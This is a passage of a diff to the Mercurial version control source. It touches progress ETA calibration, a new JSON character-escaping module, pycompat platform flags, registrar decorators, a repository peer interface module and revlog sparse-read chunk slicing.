         '%b8%ca%c3\\xca\\xbe%c8.jpg'
         '''
 
@@ -372,14 +372,14 @@
                     c = encoding.getutf8char(path, pos)
                     pos += len(c)
                 except ValueError:
-                    c = '%%%02X' % ord(path[pos])
+                    c = '%%%02X' % ord(path[pos:pos + 1])
                     pos += 1
                 s += c
 
             u = s.decode('utf-8')
 
         # Decompose then lowercase (HFS+ technote specifies lower)
-        enc = unicodedata.normalize('NFD', u).lower().encode('utf-8')
+        enc = unicodedata.normalize(r'NFD', u).lower().encode('utf-8')
         # drop HFS+ ignored characters
         return encoding.hfsignoreclean(enc)
 
diff --git a/mercurial/profiling.py b/mercurial/profiling.py
--- a/mercurial/profiling.py
+++ b/mercurial/profiling.py
@@ -138,7 +138,7 @@
 
         if profformat == 'chrome':
             showmin = ui.configwith(fraction, 'profiling', 'showmin', 0.005)
-            showmax = ui.configwith(fraction, 'profiling', 'showmax', 0.999)
+            showmax = ui.configwith(fraction, 'profiling', 'showmax')
             kwargs.update(minthreshold=showmin, maxthreshold=showmax)
         elif profformat == 'hotpath':
             # inconsistent config: profiling.showmin
@@ -183,7 +183,7 @@
         profiler = encoding.environ.get('HGPROF')
         proffn = None
         if profiler is None:
-            profiler = self._ui.config('profiling', 'type', default='stat')
+            profiler = self._ui.config('profiling', 'type')
         if profiler not in ('ls', 'stat', 'flame'):
             # try load profiler from extension with the same name
             proffn = _loadprofiler(self._ui, profiler)
diff --git a/mercurial/progress.py b/mercurial/progress.py
--- a/mercurial/progress.py
+++ b/mercurial/progress.py
@@ -101,9 +101,9 @@
         self.changedelay = max(3 * self.refresh,
                                float(self.ui.config(
                                    'progress', 'changedelay')))
-        self.order = self.ui.configlist(
-            'progress', 'format',
-            default=['topic', 'bar', 'number', 'estimate'])
+        self.order = self.ui.configlist('progress', 'format')
+        self.estimateinterval = self.ui.configwith(
+            float, 'progress', 'estimateinterval')
 
     def show(self, now, topic, pos, item, unit, total):
         if not shouldprint(self.ui):
@@ -172,7 +172,7 @@
                 amt -= progwidth
                 bar = (' ' * int(progwidth - abs(amt)) + '<=>' +
                        ' ' * int(abs(amt)))
-            prog = ''.join(('[', bar , ']'))
+            prog = ''.join(('[', bar, ']'))
             out = spacejoin(head, prog, tail)
         else:
             out = spacejoin(head, tail)
@@ -215,19 +215,15 @@
         delta = pos - initialpos
         if delta > 0:
             elapsed = now - self.starttimes[topic]
-            # experimental config: progress.estimate
-            if elapsed > float(
-                self.ui.config('progress', 'estimate')):
-                seconds = (elapsed * (target - delta)) // delta + 1
-                return fmtremaining(seconds)
+            seconds = (elapsed * (target - delta)) // delta + 1
+            return fmtremaining(seconds)
         return ''
 
     def speed(self, topic, pos, unit, now):
         initialpos = self.startvals[topic]
         delta = pos - initialpos
         elapsed = now - self.starttimes[topic]
-        if elapsed > float(
-            self.ui.config('progress', 'estimate')):
+        if elapsed > 0:
             return _('%d %s/sec') % (delta / elapsed, unit)
         return ''
 
@@ -242,6 +238,32 @@
         else:
             return False
 
+    def _calibrateestimate(self, topic, now, pos):
+        '''Adjust starttimes and startvals for topic so ETA works better
+
+        If progress is non-linear (ex. get much slower in the last minute),
+        it's more friendly to only use a recent time span for ETA and speed
+        calculation.
+
+            [======================================>       ]
+                                             ^^^^^^^
+                           estimateinterval, only use this for estimation
+        '''
+        interval = self.estimateinterval
+        if interval <= 0:
+            return
+        elapsed = now - self.starttimes[topic]
+        if elapsed > interval:
+            delta = pos - self.startvals[topic]
+            newdelta = delta * interval / elapsed
+            # If a stall happens temporarily, ETA could change dramatically
+            # frequently. This is to avoid such dramatical change and make ETA
+            # smoother.
+            if newdelta < 0.1:
+                return
+            self.startvals[topic] = pos - newdelta
+            self.starttimes[topic] = now - interval
+
     def progress(self, topic, pos, item='', unit='', total=None):
         now = time.time()
         self._refreshlock.acquire()
@@ -272,6 +294,7 @@
                     self.topics.append(topic)
                 self.topicstates[topic] = pos, item, unit, total
                 self.curtopic = topic
+                self._calibrateestimate(topic, now, pos)
                 if now - self.lastprint >= self.refresh and self.topics:
                     if self._oktoprint(now):
                         self.lastprint = now
diff --git a/mercurial/pure/bdiff.py b/mercurial/pure/bdiff.py
--- a/mercurial/pure/bdiff.py
+++ b/mercurial/pure/bdiff.py
@@ -60,7 +60,8 @@
 
     bin = []
     p = [0]
-    for i in a: p.append(p[-1] + len(i))
+    for i in a:
+        p.append(p[-1] + len(i))
 
     d = difflib.SequenceMatcher(None, a, b).get_matching_blocks()
     d = _normalizeblocks(a, b, d)
diff --git a/mercurial/pure/charencode.py b/mercurial/pure/charencode.py
new file mode 100644
--- /dev/null
+++ b/mercurial/pure/charencode.py
@@ -0,0 +1,85 @@
+# charencode.py - miscellaneous character encoding
+#
+#  Copyright 2005-2009 Matt Mackall <mpm@selenic.com> and others
+#
+# This software may be used and distributed according to the terms of the
+# GNU General Public License version 2 or any later version.
+
+from __future__ import absolute_import
+
+import array
+
+from .. import (
+    pycompat,
+)
+
+def isasciistr(s):
+    try:
+        s.decode('ascii')
+        return True
+    except UnicodeDecodeError:
+        return False
+
+def asciilower(s):
+    '''convert a string to lowercase if ASCII
+
+    Raises UnicodeDecodeError if non-ASCII characters are found.'''
+    s.decode('ascii')
+    return s.lower()
+
+def asciiupper(s):
+    '''convert a string to uppercase if ASCII
+
+    Raises UnicodeDecodeError if non-ASCII characters are found.'''
+    s.decode('ascii')
+    return s.upper()
+
+_jsonmap = []
+_jsonmap.extend("\\u%04x" % x for x in range(32))
+_jsonmap.extend(pycompat.bytechr(x) for x in range(32, 127))
+_jsonmap.append('\\u007f')
+_jsonmap[0x09] = '\\t'
+_jsonmap[0x0a] = '\\n'
+_jsonmap[0x22] = '\\"'
+_jsonmap[0x5c] = '\\\\'
+_jsonmap[0x08] = '\\b'
+_jsonmap[0x0c] = '\\f'
+_jsonmap[0x0d] = '\\r'
+_paranoidjsonmap = _jsonmap[:]
+_paranoidjsonmap[0x3c] = '\\u003c'  # '<' (e.g. escape "</script>")
+_paranoidjsonmap[0x3e] = '\\u003e'  # '>'
+_jsonmap.extend(pycompat.bytechr(x) for x in range(128, 256))
+
+def jsonescapeu8fast(u8chars, paranoid):
+    """Convert a UTF-8 byte string to JSON-escaped form (fast path)
+
+    Raises ValueError if non-ASCII characters have to be escaped.
+    """
+    if paranoid:
+        jm = _paranoidjsonmap
+    else:
+        jm = _jsonmap
+    try:
+        return ''.join(jm[x] for x in bytearray(u8chars))
+    except IndexError:
+        raise ValueError
+
+if pycompat.ispy3:
+    _utf8strict = r'surrogatepass'
+else:
+    _utf8strict = r'strict'
+
+def jsonescapeu8fallback(u8chars, paranoid):
+    """Convert a UTF-8 byte string to JSON-escaped form (slow path)
+
+    Escapes all non-ASCII characters no matter if paranoid is False.
+    """
+    if paranoid:
+        jm = _paranoidjsonmap
+    else:
+        jm = _jsonmap
+    # non-BMP char is represented as UTF-16 surrogate pair
+    u16b = u8chars.decode('utf-8', _utf8strict).encode('utf-16', _utf8strict)
+    u16codes = array.array(r'H', u16b)
+    u16codes.pop(0)  # drop BOM
+    return ''.join(jm[x] if x < 128 else '\\u%04x' % x for x in u16codes)
diff --git a/mercurial/pure/mpatch.py b/mercurial/pure/mpatch.py
--- a/mercurial/pure/mpatch.py
+++ b/mercurial/pure/mpatch.py
@@ -75,7 +75,8 @@
     # copy all the patches into our segment so we can memmove from them
     pos = b2 + bl
     m.seek(pos)
-    for p in bins: m.write(p)
+    for p in bins:
+        m.write(p)
 
     for plen in plens:
         # if our list gets too long, execute it
diff --git a/mercurial/pure/osutil.py b/mercurial/pure/osutil.py
--- a/mercurial/pure/osutil.py
+++ b/mercurial/pure/osutil.py
@@ -64,7 +64,7 @@
             result.append((fn, _mode_to_kind(st.st_mode)))
     return result
 
-if pycompat.osname != 'nt':
+if not pycompat.iswindows:
     posixfile = open
 
     _SCM_RIGHTS = 0x01
diff --git a/mercurial/pure/parsers.py b/mercurial/pure/parsers.py
--- a/mercurial/pure/parsers.py
+++ b/mercurial/pure/parsers.py
@@ -80,7 +80,7 @@
         return i * indexsize
 
     def __delitem__(self, i):
-        if not isinstance(i, slice) or not i.stop == -1 or not i.step is None:
+        if not isinstance(i, slice) or not i.stop == -1 or i.step is not None:
             raise ValueError("deleting slices only supports a:-1 with step 1")
         i = self._fix_index(i.start)
         if i < self._lgt:
@@ -114,7 +114,7 @@
         return count
 
     def __delitem__(self, i):
-        if not isinstance(i, slice) or not i.stop == -1 or not i.step is None:
+        if not isinstance(i, slice) or not i.stop == -1 or i.step is not None:
             raise ValueError("deleting slices only supports a:-1 with step 1")
         i = self._fix_index(i.start)
         if i < self._lgt:
diff --git a/mercurial/pycompat.py b/mercurial/pycompat.py
--- a/mercurial/pycompat.py
+++ b/mercurial/pycompat.py
@@ -63,6 +63,7 @@
         sysexecutable = os.fsencode(sysexecutable)
     stringio = io.BytesIO
     maplist = lambda *args: list(map(*args))
+    rawinput = input
 
     # TODO: .buffer might not exist if std streams were replaced; we'll need
     # a silly wrapper to make a bytes stream backed by a unicode one.
@@ -312,150 +313,10 @@
     shlexsplit = shlex.split
     stringio = cStringIO.StringIO
     maplist = map
-
-class _pycompatstub(object):
-    def __init__(self):
-        self._aliases = {}
-
-    def _registeraliases(self, origin, items):
-        """Add items that will be populated at the first access"""
-        items = map(sysstr, items)
-        self._aliases.update(
-            (item.replace(sysstr('_'), sysstr('')).lower(), (origin, item))
-            for item in items)
+    rawinput = raw_input
 
-    def _registeralias(self, origin, attr, name):
-        """Alias ``origin``.``attr`` as ``name``"""
-        self._aliases[sysstr(name)] = (origin, sysstr(attr))
-
-    def __getattr__(self, name):
-        try:
-            origin, item = self._aliases[name]
-        except KeyError:
-            raise AttributeError(name)
-        self.__dict__[name] = obj = getattr(origin, item)
-        return obj
+isjython = sysplatform.startswith('java')
 
-httpserver = _pycompatstub()
-urlreq = _pycompatstub()
-urlerr = _pycompatstub()
-if not ispy3:
-    import BaseHTTPServer
-    import CGIHTTPServer
-    import SimpleHTTPServer
-    import urllib2
-    import urllib
-    import urlparse
-    urlreq._registeraliases(urllib, (
-        "addclosehook",
-        "addinfourl",
-        "ftpwrapper",
-        "pathname2url",
-        "quote",
-        "splitattr",
-        "splitpasswd",
-        "splitport",
-        "splituser",
-        "unquote",
-        "url2pathname",
-        "urlencode",
-    ))
-    urlreq._registeraliases(urllib2, (
-        "AbstractHTTPHandler",
-        "BaseHandler",
-        "build_opener",
-        "FileHandler",
-        "FTPHandler",
-        "HTTPBasicAuthHandler",
-        "HTTPDigestAuthHandler",
-        "HTTPHandler",
-        "HTTPPasswordMgrWithDefaultRealm",
-        "HTTPSHandler",
-        "install_opener",
-        "ProxyHandler",
-        "Request",
-        "urlopen",
-    ))
-    urlreq._registeraliases(urlparse, (
-        "urlparse",
-        "urlunparse",
-    ))
-    urlerr._registeraliases(urllib2, (
-        "HTTPError",
-        "URLError",
-    ))
-    httpserver._registeraliases(BaseHTTPServer, (
-        "HTTPServer",
-        "BaseHTTPRequestHandler",
-    ))
-    httpserver._registeraliases(SimpleHTTPServer, (
-        "SimpleHTTPRequestHandler",
-    ))
-    httpserver._registeraliases(CGIHTTPServer, (
-        "CGIHTTPRequestHandler",
-    ))
-
-else:
-    import urllib.parse
-    urlreq._registeraliases(urllib.parse, (
-        "splitattr",
-        "splitpasswd",
-        "splitport",
-        "splituser",
-        "urlparse",
-        "urlunparse",
-    ))
-    urlreq._registeralias(urllib.parse, "unquote_to_bytes", "unquote")
-    import urllib.request
-    urlreq._registeraliases(urllib.request, (
-        "AbstractHTTPHandler",
-        "BaseHandler",
-        "build_opener",
-        "FileHandler",
-        "FTPHandler",
-        "ftpwrapper",
-        "HTTPHandler",
-        "HTTPSHandler",
-        "install_opener",
-        "pathname2url",
-        "HTTPBasicAuthHandler",
-        "HTTPDigestAuthHandler",
-        "HTTPPasswordMgrWithDefaultRealm",
-        "ProxyHandler",
-        "Request",
-        "url2pathname",
-        "urlopen",
-    ))
-    import urllib.response
-    urlreq._registeraliases(urllib.response, (
-        "addclosehook",
-        "addinfourl",
-    ))
-    import urllib.error
-    urlerr._registeraliases(urllib.error, (
-        "HTTPError",
-        "URLError",
-    ))
-    import http.server
-    httpserver._registeraliases(http.server, (
-        "HTTPServer",
-        "BaseHTTPRequestHandler",
-        "SimpleHTTPRequestHandler",
-        "CGIHTTPRequestHandler",
-    ))
-
-    # urllib.parse.quote() accepts both str and bytes, decodes bytes
-    # (if necessary), and returns str. This is wonky. We provide a custom
-    # implementation that only accepts bytes and emits bytes.
-    def quote(s, safe=r'/'):
-        s = urllib.parse.quote_from_bytes(s, safe=safe)
-        return s.encode('ascii', 'strict')
-
-    # urllib.parse.urlencode() returns str. We use this function to make
-    # sure we return bytes.
-    def urlencode(query, doseq=False):
-            s = urllib.parse.urlencode(query, doseq=doseq)
-            return s.encode('ascii')
-
-    urlreq.quote = quote
-    urlreq.urlencode = urlencode
+isdarwin = sysplatform == 'darwin'
+isposix = osname == 'posix'
+iswindows = osname == 'nt'
diff --git a/mercurial/rcutil.py b/mercurial/rcutil.py
--- a/mercurial/rcutil.py
+++ b/mercurial/rcutil.py
@@ -15,7 +15,7 @@
     util,
 )
 
-if pycompat.osname == 'nt':
+if pycompat.iswindows:
     from . import scmwindows as scmplatform
 else:
     from . import scmposix as scmplatform
diff --git a/mercurial/registrar.py b/mercurial/registrar.py
--- a/mercurial/registrar.py
+++ b/mercurial/registrar.py
@@ -102,7 +102,6 @@
     def _extrasetup(self, name, func):
         """Execute exra setup for registered function, if needed
         """
-        pass
 
 class command(_funcregistrarbase):
     """Decorator to register a command function to table
@@ -132,13 +131,35 @@
     command line arguments. If True, arguments will be examined for potential
     repository locations. See ``findrepo()``. If a repository is found, it
     will be used.
+
+    There are three constants in the class which tells what type of the command
+    that is. That information will be helpful at various places. It will be also
+    be used to decide what level of access the command has on hidden commits.
+    The constants are:
+
+    unrecoverablewrite is for those write commands which can't be recovered like
+    push.
+    recoverablewrite is for write commands which can be recovered like commit.
+    readonly is for commands which are read only.
     """
 
+    unrecoverablewrite = "unrecoverable"
+    recoverablewrite = "recoverable"
+    readonly = "readonly"
+
+    possiblecmdtypes = {unrecoverablewrite, recoverablewrite, readonly}
+
     def _doregister(self, func, name, options=(), synopsis=None,
-                    norepo=False, optionalrepo=False, inferrepo=False):
+                    norepo=False, optionalrepo=False, inferrepo=False,
+                    cmdtype=unrecoverablewrite):
+
+        if cmdtype not in self.possiblecmdtypes:
+            raise error.ProgrammingError("unknown cmdtype value '%s' for "
+                                         "'%s' command" % (cmdtype, name))
         func.norepo = norepo
         func.optionalrepo = optionalrepo
         func.inferrepo = inferrepo
+        func.cmdtype = cmdtype
         if synopsis:
             self._table[name] = func, list(options), synopsis
         else:
@@ -166,6 +187,16 @@
     Optional argument 'takeorder' indicates whether a predicate function
     takes ordering policy as the last argument.
 
+    Optional argument 'weight' indicates the estimated run-time cost, useful
+    for static optimization, default is 1. Higher weight means more expensive.
+    Usually, revsets that are fast and return only one revision has a weight of
+    0.5 (ex. a symbol); revsets with O(changelog) complexity and read only the
+    changelog have weight 10 (ex. author); revsets reading manifest deltas have
+    weight 30 (ex. adds); revset reading manifest contents have weight 100
+    (ex. contains). Note: those values are flexible. If the revset has a
+    same big-O time complexity as 'contains', but with a smaller constant, it
+    might have a weight of 90.
+
     'revsetpredicate' instance in example above can be used to
     decorate multiple functions.
 
@@ -178,9 +209,10 @@
     _getname = _funcregistrarbase._parsefuncdecl
     _docformat = "``%s``\n    %s"
 
-    def _extrasetup(self, name, func, safe=False, takeorder=False):
+    def _extrasetup(self, name, func, safe=False, takeorder=False, weight=1):
         func._safe = safe
         func._takeorder = takeorder
+        func._weight = weight
 
 class filesetpredicate(_funcregistrarbase):
     """Decorator to register fileset predicate
@@ -308,3 +340,64 @@
 
     def _extrasetup(self, name, func, argspec=None):
         func._argspec = argspec
+
+class internalmerge(_funcregistrarbase):
+    """Decorator to register in-process merge tool
+
+    Usage::
+
+        internalmerge = registrar.internalmerge()
+
+        @internalmerge('mymerge', internalmerge.mergeonly,
+                       onfailure=None, precheck=None):
+        def mymergefunc(repo, mynode, orig, fcd, fco, fca,
+                        toolconf, files, labels=None):
+            '''Explanation of this internal merge tool ....
+            '''
+            return 1, False # means "conflicted", "no deletion needed"
+
+    The first string argument is used to compose actual merge tool name,
+    ":name" and "internal:name" (the latter is historical one).
+
+    The second argument is one of merge types below:
+
+    ========== ======== ======== =========
+    merge type precheck premerge fullmerge
+    ========== ======== ======== =========
+    nomerge     x        x        x
+    mergeonly   o        x        o
+    fullmerge   o        o        o
+    ========== ======== ======== =========
+
+    Optional argument 'onfailure' is the format of warning message
+    to be used at failure of merging (target filename is specified
+    at formatting). Or, None or so, if warning message should be
+    suppressed.
+
+    Optional argument 'precheck' is the function to be used
+    before actual invocation of internal merge tool itself.
+    It takes as same arguments as internal merge tool does, other than
+    'files' and 'labels'. If it returns false value, merging is aborted
+    immediately (and file is marked as "unresolved").
+
+    'internalmerge' instance in example above can be used to
+    decorate multiple functions.
+
+    Decorated functions are registered automatically at loading
+    extension, if an instance named as 'internalmerge' is used for
+    decorating in extension.
+
+    Otherwise, explicit 'filemerge.loadinternalmerge()' is needed.
+    """
+    _docformat = "``:%s``\n    %s"
+
+    # merge type definitions:
+    nomerge = None
+    mergeonly = 'mergeonly'  # just the full merge, no premerge
+    fullmerge = 'fullmerge'  # both premerge and merge
+
+    def _extrasetup(self, name, func, mergetype,
+                    onfailure=None, precheck=None):
+        func.mergetype = mergetype
+        func.onfailure = onfailure
+        func.precheck = precheck
diff --git a/mercurial/repair.py b/mercurial/repair.py
--- a/mercurial/repair.py
+++ b/mercurial/repair.py
@@ -12,7 +12,10 @@
 import hashlib
 
 from .i18n import _
-from .node import short
+from .node import (
+    hex,
+    short,
+)
 from . import (
     bundle2,
     changegroup,
@@ -35,8 +38,9 @@
     # Include a hash of all the nodes in the filename for uniqueness
     allcommits = repo.set('%ln::%ln', bases, heads)
     allhashes = sorted(c.hex() for c in allcommits)
-    totalhash = hashlib.sha1(''.join(allhashes)).hexdigest()
-    name = "%s/%s-%s-%s.hg" % (backupdir, short(node), totalhash[:8], suffix)
+    totalhash = hashlib.sha1(''.join(allhashes)).digest()
+    name = "%s/%s-%s-%s.hg" % (backupdir, short(node),
+                               hex(totalhash[:4]), suffix)
 
     cgversion = changegroup.localversion(repo)
     comp = None
@@ -67,16 +71,20 @@
 
     return sorted(files)
 
+def _collectrevlog(revlog, striprev):
+    _, brokenset = revlog.getstrippoint(striprev)
+    return [revlog.linkrev(r) for r in brokenset]
+
+def _collectmanifest(repo, striprev):
+    return _collectrevlog(repo.manifestlog._revlog, striprev)
+
 def _collectbrokencsets(repo, files, striprev):
     """return the changesets which will be broken by the truncation"""
     s = set()
-    def collectone(revlog):
-        _, brokenset = revlog.getstrippoint(striprev)
-        s.update([revlog.linkrev(r) for r in brokenset])
 
-    collectone(repo.manifestlog._revlog)
+    s.update(_collectmanifest(repo, striprev))
     for fname in files:
-        collectone(repo.file(fname))
+        s.update(_collectrevlog(repo.file(fname), striprev))
 
     return s
 
@@ -174,16 +182,13 @@
         tmpbundlefile = _bundle(repo, savebases, saveheads, node, 'temp',
                                 compress=False, obsolescence=False)
 
-    mfst = repo.manifestlog._revlog
-
     try:
         with repo.transaction("strip") as tr:
             offset = len(tr.entries)
 
             tr.startgroup()
             cl.strip(striprev, tr)
-            mfst.strip(striprev, tr)
-            striptrees(repo, tr, striprev, files)
+            stripmanifest(repo, striprev, tr, files)
 
             for fn in files:
                 repo.file(fn).strip(striprev, tr)
@@ -310,6 +315,11 @@
         callback.topic = topic
     callback.addnodes(nodelist)
 
+def stripmanifest(repo, striprev, tr, files):
+    revlog = repo.manifestlog._revlog
+    revlog.strip(striprev, tr)
+    striptrees(repo, tr, striprev, files)
+
 def striptrees(repo, tr, striprev, files):
     if 'treemanifest' in repo.requirements: # safe but unnecessary
                                             # otherwise
diff --git a/mercurial/repository.py b/mercurial/repository.py
new file mode 100644
--- /dev/null
+++ b/mercurial/repository.py
@@ -0,0 +1,268 @@
+# repository.py - Interfaces and base classes for repositories and peers.
+#
+# Copyright 2017 Gregory Szorc <gregory.szorc@gmail.com>
+#
+# This software may be used and distributed according to the terms of the
+# GNU General Public License version 2 or any later version.
+
+from __future__ import absolute_import
+
+import abc
+
+from .i18n import _
+from . import (
+    error,
+)
+
+class _basepeer(object):
+    """Represents a "connection" to a repository.
+
+    This is the base interface for representing a connection to a repository.
+    It holds basic properties and methods applicable to all peer types.
+
+    This is not a complete interface definition and should not be used
+    outside of this module.
+    """
+    __metaclass__ = abc.ABCMeta
+
+    @abc.abstractproperty
+    def ui(self):
+        """ui.ui instance."""
+
+    @abc.abstractmethod
+    def url(self):
+        """Returns a URL string representing this peer.
+
+        Currently, implementations expose the raw URL used to construct the
+        instance. It may contain credentials as part of the URL. The
+        expectations of the value aren't well-defined and this could lead to
+        data leakage.
+
+        TODO audit/clean consumers and more clearly define the contents of this
+        value.
+        """
+
+    @abc.abstractmethod
+    def local(self):
+        """Returns a local repository instance.
+
+        If the peer represents a local repository, returns an object that
+        can be used to interface with it. Otherwise returns ``None``.
+        """
+
+    @abc.abstractmethod
+    def peer(self):
+        """Returns an object conforming to this interface.
+
+        Most implementations will ``return self``.
+        """
+
+    @abc.abstractmethod
+    def canpush(self):
+        """Returns a boolean indicating if this peer can be pushed to."""
+
+    @abc.abstractmethod
+    def close(self):
+        """Close the connection to this peer.
+
+        This is called when the peer will no longer be used. Resources
+        associated with the peer should be cleaned up.
+        """
+
+class _basewirecommands(object):
+    """Client-side interface for communicating over the wire protocol.
+
+    This interface is used as a gateway to the Mercurial wire protocol.
+    methods commonly call wire protocol commands of the same name.
+    """
+    __metaclass__ = abc.ABCMeta
+
+    @abc.abstractmethod
+    def branchmap(self):
+        """Obtain heads in named branches.
+
+        Returns a dict mapping branch name to an iterable of nodes that are
+        heads on that branch.
+        """
+
+    @abc.abstractmethod
+    def capabilities(self):
+        """Obtain capabilities of the peer.
+
+        Returns a set of string capabilities.
+        """
+
+    @abc.abstractmethod
+    def debugwireargs(self, one, two, three=None, four=None, five=None):
+        """Used to facilitate debugging of arguments passed over the wire."""
+
+    @abc.abstractmethod
+    def getbundle(self, source, **kwargs):
+        """Obtain remote repository data as a bundle.
+
+        This command is how the bulk of repository data is transferred from
+        the peer to the local repository
+
+        Returns a generator of bundle data.
+        """
+
+    @abc.abstractmethod
+    def heads(self):
+        """Determine all known head revisions in the peer.
+
+        Returns an iterable of binary nodes.
+        """
+
+    @abc.abstractmethod
+    def known(self, nodes):
+        """Determine whether multiple nodes are known.
+
+        Accepts an iterable of nodes whose presence to check for.
+
+        Returns an iterable of booleans indicating of the corresponding node
+        at that index is known to the peer.
+        """
+
+    @abc.abstractmethod
+    def listkeys(self, namespace):
+        """Obtain all keys in a pushkey namespace.
+
+        Returns an iterable of key names.
+        """
+
+    @abc.abstractmethod
+    def lookup(self, key):
+        """Resolve a value to a known revision.
+
+        Returns a binary node of the resolved revision on success.
+        """
+
+    @abc.abstractmethod
+    def pushkey(self, namespace, key, old, new):
+        """Set a value using the ``pushkey`` protocol.
+
+        Arguments correspond to the pushkey namespace and key to operate on and
+        the old and new values for that key.
+
+        Returns a string with the peer result. The value inside varies by the
+        namespace.
+        """
+
+    @abc.abstractmethod
+    def stream_out(self):
+        """Obtain streaming clone data.
+
+        Successful result should be a generator of data chunks.
+        """
+
+    @abc.abstractmethod
+    def unbundle(self, bundle, heads, url):
+        """Transfer repository data to the peer.
+
+        This is how the bulk of data during a push is transferred.
+
+        Returns the integer number of heads added to the peer.
+        """
+
+class _baselegacywirecommands(object):
+    """Interface for implementing support for legacy wire protocol commands.
+
+    Wire protocol commands transition to legacy status when they are no longer
+    used by modern clients. To facilitate identifying which commands are
+    legacy, the interfaces are split.
+    """
+    __metaclass__ = abc.ABCMeta
+
+    @abc.abstractmethod
+    def between(self, pairs):
+        """Obtain nodes between pairs of nodes.
+
+        ``pairs`` is an iterable of node pairs.
+
+        Returns an iterable of iterables of nodes corresponding to each
+        requested pair.
+        """
+
+    @abc.abstractmethod
+    def branches(self, nodes):
+        """Obtain ancestor changesets of specific nodes back to a branch point.
+
+        For each requested node, the peer finds the first ancestor node that is
+        a DAG root or is a merge.
+
+        Returns an iterable of iterables with the resolved values for each node.
+        """
+
+    @abc.abstractmethod
+    def changegroup(self, nodes, kind):
+        """Obtain a changegroup with data for descendants of specified nodes."""
+
+    @abc.abstractmethod
+    def changegroupsubset(self, bases, heads, kind):
+        pass
+
+class peer(_basepeer, _basewirecommands):
+    """Unified interface and base class for peer repositories.
+
+    All peer instances must inherit from this class and conform to its
+    interface.
+    """
+
+    @abc.abstractmethod
+    def iterbatch(self):
+        """Obtain an object to be used for multiple method calls.
+
+        Various operations call several methods on peer instances. If each
+        method call were performed immediately and serially, this would
+        require round trips to remote peers and/or would slow down execution.
+
+        Some peers have the ability to "batch" method calls to avoid costly
+        round trips or to facilitate concurrent execution.
+
+        This method returns an object that can be used to indicate intent to
+        perform batched method calls.
+
+        The returned object is a proxy of this peer. It intercepts calls to
+        batchable methods and queues them instead of performing them
+        immediately. This proxy object has a ``submit`` method that will
+        perform all queued batchable method calls. A ``results()`` method
+        exposes the results of queued/batched method calls. It is a generator
+        of results in the order they were called.
+
+        Not all peers or wire protocol implementations may actually batch method
+        calls. However, they must all support this API.
+        """
+
+    def capable(self, name):
+        """Determine support for a named capability.
+
+        Returns ``False`` if capability not supported.
+
+        Returns ``True`` if boolean capability is supported. Returns a string
+        if capability support is non-boolean.
+        """
+        caps = self.capabilities()
+        if name in caps:
+            return True
+
+        name = '%s=' % name
+        for cap in caps:
+            if cap.startswith(name):
+                return cap[len(name):]
+
+        return False
+
+    def requirecap(self, name, purpose):
+        """Require a capability to be present.
+
+        Raises a ``CapabilityError`` if the capability isn't present.
+        """
+        if self.capable(name):
+            return
+
+        raise error.CapabilityError(
+            _('cannot %s; remote repository does not support the %r '
+              'capability') % (purpose, name))
+
+class legacypeer(peer, _baselegacywirecommands):
+    """peer but with support for legacy wire protocol commands."""
diff --git a/mercurial/repoview.py b/mercurial/repoview.py
--- a/mercurial/repoview.py
+++ b/mercurial/repoview.py
@@ -99,9 +99,6 @@
         return hiddens
 
 def computemutable(repo):
-    """compute the set of revision that should be filtered when used a server
-
-    Secret and hidden changeset should not pretend to be here."""
     assert not repo.changelog.filteredrevs
     # fast check to avoid revset call on huge repo
     if any(repo._phasecache.phaseroots[1:]):
diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -17,6 +17,7 @@
 import collections
 import errno
 import hashlib
+import heapq
 import os
 import struct
 import zlib
@@ -161,6 +162,95 @@
     s.update(text)
     return s.digest()
 
+def _trimchunk(revlog, revs, startidx, endidx=None):
+    """returns revs[startidx:endidx] without empty trailing revs
+    """
+    length = revlog.length
+
+    if endidx is None:
+        endidx = len(revs)
+
+    # Trim empty revs at the end, but never the very first revision of a chain
+    while endidx > 1 and endidx > startidx and length(revs[endidx - 1]) == 0:
+        endidx -= 1
+
+    return revs[startidx:endidx]
+
+def _slicechunk(revlog, revs):
+    """slice revs to reduce the amount of unrelated data to be read from disk.
+
+    ``revs`` is sliced into groups that should be read in one time.
+    Assume that revs are sorted.
+    """
+    start = revlog.start
+    length = revlog.length
+
+    if len(revs) <= 1:
+        yield revs
+        return
+
+    startbyte = start(revs[0])
+    endbyte = start(revs[-1]) + length(revs[-1])
+    readdata = deltachainspan = endbyte - startbyte
+
+    chainpayload = sum(length(r) for r in revs)
+
+    if deltachainspan:
+        density = chainpayload / float(deltachainspan)
+    else:
+        density = 1.0
+
+    # Store the gaps in a heap to have them sorted by decreasing size
+    gapsheap = []
+    heapq.heapify(gapsheap)
+    prevend = None
+    for i, rev in enumerate(revs):
+        revstart = start(rev)
+        revlen = length(rev)
+
+        # Skip empty revisions to form larger holes
+        if revlen == 0:
+            continue
+
+        if prevend is not None:
+            gapsize = revstart - prevend
+            # only consider holes that are large enough
+            if gapsize > revlog._srmingapsize:
+                heapq.heappush(gapsheap, (-gapsize, i))
+
+        prevend = revstart + revlen
+
+    # Collect the indices of the largest holes until the density is acceptable
+    indicesheap = []
+    heapq.heapify(indicesheap)
+    while gapsheap and density < revlog._srdensitythreshold:
+        oppgapsize, gapidx = heapq.heappop(gapsheap)
+
+        heapq.heappush(indicesheap, gapidx)
+
+        # the gap sizes are stored as negatives to be sorted decreasingly
+        # by the heap
+        readdata -= (-oppgapsize)
+        if readdata > 0:
+            density = chainpayload / float(readdata)
+        else:
+            density = 1.0
+
+    # Cut the revs at collected indices
+    previdx = 0
+    while indicesheap:
+        idx = heapq.heappop(indicesheap)
+
+        chunk = _trimchunk(revlog, revs, previdx, idx)
+        if chunk:
+            yield chunk
+
+        previdx = idx
+
+    chunk = _trimchunk(revlog, revs, previdx)
+    if chunk:
+        yield chunk
+
 # index v0:
 #  4 bytes: offset
 #  4 bytes: compressed length
@@ -268,8 +358,13 @@
 
     If checkambig, indexfile is opened with checkambig=True at
     writing, to avoid file stat ambiguity.
+
+    If mmaplargeindex is True, and an mmapindexthreshold is set, the
+    index will be mmapped rather than read if it is larger than the
+    configured threshold.
     """
-    def __init__(self, opener, indexfile, datafile=None, checkambig=False):
+    def __init__(self, opener, indexfile, datafile=None, checkambig=False,
+                 mmaplargeindex=False):
         """
         create a revlog object
 
@@ -300,7 +395,11 @@
         self._nodepos = None
         self._compengine = 'zlib'
         self._maxdeltachainspan = -1
+        self._withsparseread = False
+        self._srdensitythreshold = 0.25
+        self._srmingapsize = 262144
 
+        mmapindexthreshold = None
         v = REVLOG_DEFAULT_VERSION
         opts = getattr(opener, 'options', None)
